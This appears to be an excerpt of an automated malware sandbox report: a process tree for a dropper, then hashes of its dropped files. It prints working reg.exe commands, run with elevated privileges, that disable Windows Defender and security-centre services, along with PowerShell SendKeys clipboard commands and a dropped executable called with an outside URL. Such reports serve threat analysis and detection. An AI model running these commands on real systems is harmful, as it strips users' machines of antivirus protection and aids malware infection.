                                                    "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
                                                    4⤵
                                                    • Executes dropped EXE
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:4108
                                                    • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
                                                      5⤵
                                                      • Executes dropped EXE
                                                      • Modifies data under HKEY_USERS
                                                      PID:4916
                                                      • C:\Windows\System32\reg.exe
                                                        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
                                                        6⤵
                                                        • Modifies Security services
                                                        PID:4244
                                                • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:4156
                                                  • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
                                                    4⤵
                                                    • Executes dropped EXE
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:4436
                                                    • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
                                                      5⤵
                                                      • Executes dropped EXE
                                                      • Modifies data under HKEY_USERS
                                                      PID:3524
                                                      • C:\Windows\System32\reg.exe
                                                        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
                                                        6⤵
                                                        • Modifies Security services
                                                        PID:1748
                                                • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:2116
                                                  • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
                                                    4⤵
                                                    • Executes dropped EXE
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:4648
                                                    • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
                                                      5⤵
                                                      • Executes dropped EXE
                                                      • Modifies data under HKEY_USERS
                                                      PID:2964
                                                      • C:\Windows\System32\reg.exe
                                                        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
                                                        6⤵
                                                        • Modifies Security services
                                                        PID:732
                                                • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:4060
                                                  • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
                                                    4⤵
                                                    • Executes dropped EXE
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:1196
                                                    • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
                                                      5⤵
                                                      • Executes dropped EXE
                                                      • Modifies data under HKEY_USERS
                                                      PID:784
                                                      • C:\Windows\System32\reg.exe
                                                        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
                                                        6⤵
                                                        • Modifies Security services
                                                        PID:2976
                                                • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
                                                  3⤵
                                                  • Executes dropped EXE
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  PID:3344
                                                  • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
                                                    4⤵
                                                    • Executes dropped EXE
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    • Suspicious use of AdjustPrivilegeToken
                                                    PID:2996
                                                    • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
                                                      5⤵
                                                      • Executes dropped EXE
                                                      • Modifies data under HKEY_USERS
                                                      PID:4876
                                                      • C:\Windows\System32\reg.exe
                                                        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
                                                        6⤵
                                                        • Modifies security service
                                                        PID:60
                                                • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
                                                  3⤵
                                                  • Executes dropped EXE
                                                  PID:1396
                                                  • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
                                                    4⤵
                                                    • Executes dropped EXE
                                                    PID:868
                                                    • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
                                                      5⤵
                                                      • Executes dropped EXE
                                                      • Modifies data under HKEY_USERS
                                                      PID:4020
                                                      • C:\Windows\System32\reg.exe
                                                        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
                                                        6⤵
                                                        • Modifies security service
                                                        PID:4476
                                                • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
                                                  3⤵
                                                  • Executes dropped EXE
                                                  PID:4268
                                                  • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
                                                    4⤵
                                                    • Executes dropped EXE
                                                    PID:644
                                                    • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
                                                      5⤵
                                                      • Executes dropped EXE
                                                      • Modifies data under HKEY_USERS
                                                      PID:4304
                                                      • C:\Windows\System32\reg.exe
                                                        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\ControlSet001\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
                                                        6⤵
                                                        • Modifies Security services
                                                        PID:2396
                                                • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                  PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
                                                  3⤵
                                                  • Executes dropped EXE
                                                  PID:3692
                                                  • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
                                                    4⤵
                                                    • Executes dropped EXE
                                                    PID:2444
                                                    • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
                                                      5⤵
                                                      • Executes dropped EXE
                                                      • Modifies data under HKEY_USERS
                                                      PID:2328
                                                      • C:\Windows\System32\reg.exe
                                                        "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /v "Start" /t reg_DWORD /d "4" /f
                                                        6⤵
                                                          PID:4484
                                                  • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
                                                    3⤵
                                                    • Executes dropped EXE
                                                    PID:1860
                                                    • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
                                                      4⤵
                                                      • Executes dropped EXE
                                                      PID:3680
                                                      • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
                                                        5⤵
                                                        • Executes dropped EXE
                                                        • Modifies data under HKEY_USERS
                                                        PID:1084
                                                        • C:\Windows\System32\reg.exe
                                                          "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /v "Start" /t reg_DWORD /d "4" /f
                                                          6⤵
                                                          • Modifies Security services
                                                          PID:4504
                                                  • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
                                                    3⤵
                                                    • Executes dropped EXE
                                                    PID:1368
                                                    • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
                                                      4⤵
                                                      • Executes dropped EXE
                                                      PID:4196
                                                      • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
                                                        5⤵
                                                        • Executes dropped EXE
                                                        • Modifies data under HKEY_USERS
                                                        PID:4944
                                                        • C:\Windows\System32\reg.exe
                                                          "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /v "Start" /t reg_DWORD /d "4" /f
                                                          6⤵
                                                          • Modifies Security services
                                                          PID:1568
                                                  • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
                                                    3⤵
                                                    • Executes dropped EXE
                                                    PID:1852
                                                    • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
                                                      4⤵
                                                      • Executes dropped EXE
                                                      PID:4696
                                                      • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
                                                        5⤵
                                                        • Executes dropped EXE
                                                        • Modifies data under HKEY_USERS
                                                        PID:404
                                                        • C:\Windows\System32\reg.exe
                                                          "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /v "Start" /t reg_DWORD /d "4" /f
                                                          6⤵
                                                          • Modifies Security services
                                                          PID:452
                                                  • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
                                                    3⤵
                                                    • Executes dropped EXE
                                                    PID:2868
                                                    • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
                                                      4⤵
                                                      • Executes dropped EXE
                                                      PID:2028
                                                      • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
                                                        5⤵
                                                        • Executes dropped EXE
                                                        • Modifies data under HKEY_USERS
                                                        PID:3868
                                                        • C:\Windows\System32\reg.exe
                                                          "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /v "Start" /t reg_DWORD /d "4" /f
                                                          6⤵
                                                          • Modifies Security services
                                                          PID:4156
                                                  • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
                                                    3⤵
                                                    • Executes dropped EXE
                                                    PID:2716
                                                    • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
                                                      4⤵
                                                      • Executes dropped EXE
                                                      PID:4064
                                                      • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
                                                        5⤵
                                                        • Executes dropped EXE
                                                        • Modifies data under HKEY_USERS
                                                        PID:3100
                                                        • C:\Windows\System32\reg.exe
                                                          "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /v "Start" /t reg_DWORD /d "4" /f
                                                          6⤵
                                                          • Modifies security service
                                                          PID:1632
                                                  • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
                                                    3⤵
                                                    • Executes dropped EXE
                                                    PID:2248
                                                    • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
                                                      4⤵
                                                      • Executes dropped EXE
                                                      PID:2088
                                                      • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
                                                        5⤵
                                                        • Executes dropped EXE
                                                        • Modifies data under HKEY_USERS
                                                        PID:1732
                                                        • C:\Windows\System32\reg.exe
                                                          "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\wscsvc" /v "Start" /t reg_DWORD /d "4" /f
                                                          6⤵
                                                          • Modifies security service
                                                          PID:1836
                                                  • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                    PowerRun64 /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
                                                    3⤵
                                                    • Executes dropped EXE
                                                    PID:2844
                                                    • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
                                                      4⤵
                                                      • Executes dropped EXE
                                                      PID:4108
                                                      • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\PowerRun64.exe" /TI/ /SW:0 C:\Windows\System32\reg.exe add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
                                                        5⤵
                                                        • Executes dropped EXE
                                                        • Modifies data under HKEY_USERS
                                                        PID:3796
                                                        • C:\Windows\System32\reg.exe
                                                          "C:\Windows\System32\reg.exe" add "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t reg_DWORD /d "4" /f
                                                          6⤵
                                                          • Modifies Security services
                                                          PID:5068
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    Powershell -Command "Get-MpPreference"
                                                    3⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    • System Location Discovery: System Language Discovery
                                                    PID:2304
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    Powershell -Command "$wshell=New-Object -ComObject wscript.shell; $wshell.SendKeys('^a')
                                                    3⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    PID:4456
                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                    Powershell -Command "$wshell=New-Object -ComObject wscript.shell; $wshell.SendKeys('^c')
                                                    3⤵
                                                    • Command and Scripting Interpreter: PowerShell
                                                    • System Location Discovery: System Language Discovery
                                                    PID:2132
                                                • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\acxxtzcogvgr.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\acxxtzcogvgr.exe" "http://www.imagerymacdermott.click" "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\5527"
                                                  2⤵
                                                  • Executes dropped EXE
                                                  PID:4712
                                                • C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\win_version_csharp.exe
                                                  "C:\Users\Admin\AppData\Local\Temp\nsy8F31.tmp\win_version_csharp.exe"
                                                  2⤵
                                                  • Executes dropped EXE
                                                  • System Location Discovery: System Language Discovery
                                                  PID:2716
                                                • C:\Windows\SysWOW64\explorer.exe
                                                  C:\Windows\system32\explorer.exe
                                                  2⤵
                                                  • Deletes itself
                                                  • System Location Discovery: System Language Discovery
                                                  PID:2248

                                              Network

                                              MITRE ATT&CK Enterprise v15

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              • C:\95d966661e0d51cda69113c4af72\1025\LocalizedData.xml

                                                Filesize

                                                72KB

                                                MD5

                                                c5bf74c96a711b3f7004ca6bddecc491

                                                SHA1

                                                4c4d42ff69455f267ce98f1db8f2c5d76a1046da

                                                SHA256

                                                6b67c8a77c1a637b72736595afdf77bdb3910aa9fe48d959775806a0683ffa66

                                                SHA512

                                                2f2071bf9966bffe64c90263f4b9bd5efcac4f976c4e42fbdeaa5d6a6dee51c33f4902cf5e3d0897e1c841e9182e25c86d42e392887bc3ce3d9ed3d780d96ac9

                                              • C:\95d966661e0d51cda69113c4af72\1028\LocalizedData.xml

                                                Filesize

                                                59KB

                                                MD5

                                                967a6d769d849c5ed66d6f46b0b9c5a4

                                                SHA1

                                                c0ff5f094928b2fa8b61e97639c42782e95cc74f

                                                SHA256

                                                0bc010947bff6ec1ce9899623ccfdffd702eee6d2976f28d9e06cc98a79cf542

                                                SHA512

                                                219b13f1beeb7d690af9d9c7d98904494c878fbe9904f8cb7501b9bb4f48762f9d07c3440efa0546600ff62636ac34cb4b32e270cf90cb47a9e08f9cb473030c

                                              • C:\95d966661e0d51cda69113c4af72\1029\LocalizedData.xml

                                                Filesize

                                                79KB

                                                MD5

                                                0b6ed582eb557573e959e37ebe2fca6a

                                                SHA1

                                                82c19c7eafb28593f453341eca225873fb011d4c

                                                SHA256

                                                8a0da440261940ed89bad7cd65bbc941cc56001d9aa94515e346d57b7b0838fc

                                                SHA512

                                                aba3d19f408bd74f010ec49b31a2658e0884661d2efda7d999558c90a4589b500570cc80410ba1c323853ca960e7844845729fff708e3a52ea25f597fad90759

                                              • C:\95d966661e0d51cda69113c4af72\1030\LocalizedData.xml

                                                Filesize

                                                75KB

                                                MD5

                                                69925e463a6fedce8c8e1b68404502fb

                                                SHA1

                                                76341e490a432a636ed721f0c964fd9026773dd7

                                                SHA256

                                                5f370d2ccdd5fa316bce095bf22670123c09de175b7801d0a77cdb68174ac6b7

                                                SHA512

                                                5f61abec49e1f9cc44c26b83aa5b32c217ebeba63ed90d25836f51f810c59f71ec7430dc5338efba9be720f800204891e5ab9a5f5ec1ff51ef46c629482e5220

                                              • C:\95d966661e0d51cda69113c4af72\1031\LocalizedData.xml

                                                Filesize

                                                80KB

                                                MD5

                                                8505219c0a8d950ff07dc699d8208309

                                                SHA1

                                                7a557356c57f1fa6d689ea4c411e727438ac46df

                                                SHA256

                                                c48986cdb7fe3401234e0a6540eb394c1201846b5beb1f12f83dc6e14674873a

                                                SHA512

                                                7bcdad0cb4b478068434f4ebd554474b69562dc83df9a423b54c1701ca3b43c3b92de09ee195a86c0d244aa5ef96c77b1a08e73f1f2918c8ac7019f8df27b419

                                              • C:\95d966661e0d51cda69113c4af72\1032\LocalizedData.xml

                                                Filesize

                                                84KB

                                                MD5

                                                3bf8da35b14fbcc564e03f6342bb71f2

                                                SHA1

                                                8f9139f0bb813bf95f8c437548738d32848d8940

                                                SHA256

                                                39efe12c689edfea041613b0e4d6ec78afec8fe38a0e4adc656591ffef8f415d

                                                SHA512

                                                31b050647ba4bd0c2762d77307e1ed2a324e9b152c06ed496b86ea063cdc18bf2bb1f08d2e9b4af3429a2bc333d7891338d7535487c83495304a5f78776dbc03

                                              • C:\95d966661e0d51cda69113c4af72\1033\LocalizedData.xml

                                                Filesize

                                                75KB

                                                MD5

                                                326518603d85acd79a6258886fc85456

                                                SHA1

                                                f1cef14bc4671a132225d22a1385936ad9505348

                                                SHA256

                                                665797c7840b86379019e5a46227f888fa1a36a593ea41f9170ef018c337b577

                                                SHA512

                                                f8a514efd70e81d0f2f983282d69040bca6e42f29aa5df554e6874922a61f112e311ad5d2b719b6ca90012f69965447fb91e8cd4103efb2453ff160a9062e5d3

                                              • C:\95d966661e0d51cda69113c4af72\1035\LocalizedData.xml

                                                Filesize

                                                75KB

                                                MD5

                                                1aa252256c895b806e4e55f3ea8d5ffb

                                                SHA1

                                                0322ee94c3d5ea26418a2fea3f7e62ec5d04b81d

                                                SHA256

                                                8a68b3b6522c30502202ecb8d16ae160856947254461ac845b39451a3f2db35f

                                                SHA512

                                                ce57784892c0be55a00ced0adc594a534d8a40819790ca483a29b6cd544c7a75ae4e9bde9b6dc6de489ceceb7883b7c2ea0e98a38fcc96d511157d61c8aa3e63

                                              • C:\95d966661e0d51cda69113c4af72\1036\LocalizedData.xml

                                                Filesize

                                                81KB

                                                MD5

                                                1dad88faed661db34eef535d36563ee2

                                                SHA1

                                                0525b2f97eddbd26325fddc561bf8a0cda3b0497

                                                SHA256

                                                9605468d426bcbbe00165339d84804e5eb2547bfe437d640320b7bfef0b399b6

                                                SHA512

                                                ccd0bffbf0538152cccd4b081c15079716a5ff9ad04cee8679b7f721441f89eb7c6f8004cff7e1dde9188f5201f573000d0c078474edf124cfa4c619e692d6bc

                                              • C:\95d966661e0d51cda69113c4af72\1037\LocalizedData.xml

                                                Filesize

                                                70KB

                                                MD5

                                                16e6416756c1829238ef1814ebf48ad6

                                                SHA1

                                                c9236906317b3d806f419b7a98598dd21e27ad64

                                                SHA256

                                                c0ee256567ea26bbd646f019a1d12f3eced20b992718976514afa757adf15dea

                                                SHA512

                                                aa595ed0b3b1db280f94b29fa0cb9db25441a1ef54355abf760b6b837e8ce8e035537738e666d27dd2a8d295d7517c325a5684e16304887ccb17313ca4290ce6

                                              • C:\95d966661e0d51cda69113c4af72\1038\LocalizedData.xml

                                                Filesize

                                                84KB

                                                MD5

                                                89d4356e0f226e75ca71d48690e8ec15

                                                SHA1

                                                2336caa971527977f47512bc74e88cec3f770c7d

                                                SHA256

                                                fcbb619deb2d57b791a78954b0342dbb2fef7ddd711066a0786c8ef669d2b385

                                                SHA512

